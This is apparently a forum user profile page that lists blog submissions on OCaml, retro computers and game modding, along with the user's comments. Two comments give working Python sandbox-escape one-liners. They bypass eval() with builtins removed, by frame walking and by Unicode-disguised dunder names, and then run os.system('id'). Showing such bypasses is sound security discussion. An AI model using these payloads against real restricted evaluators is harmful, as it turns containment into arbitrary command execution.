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farlow

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Running a Minecraft Server and More on a 1960s Univac Computer

farlow.dev
4 points·by farlow·há 3 meses·0 comments

An Analysis of Poptropica's Mancala

farlow.dev
4 points·by farlow·há 5 meses·0 comments

[untitled]

1 points·by farlow·há 7 meses·0 comments

[untitled]

1 points·by farlow·há 11 meses·0 comments

Encoding SAT in OCaml GADTs

farlow.dev
4 points·by farlow·há 12 meses·0 comments

Compiling OCaml to the TI-84 CE Calculator

farlow.dev
110 points·by farlow·ano passado·5 comments

Speedrunning and Modding the Incredibles: Rise of the Underminer

farlow.dev
78 points·by farlow·ano passado·7 comments

comments

farlow
·há 4 meses·discuss
You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})
farlow
·há 4 meses·discuss
You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
farlow
·ano passado·discuss
Neat, thanks for sharing!
farlow
·ano passado·discuss
The mod is ultimately just C code that is called from hooks installed into the game engine. Concretely, we overwrite an instruction in the game engine's render function with a jump to one of our C functions. Then we jump back to continue the render function when we're done.

The C code can do anything at this point. The remaining work is to crawl through Ghidra to find interesting addresses to read/write to and useful functions to call to affect the game engine. That entails some combination of reading through function and variable names, setting breakpoints in the Dolphin debugger to check values, and writing the mod code and testing if it does what I expect.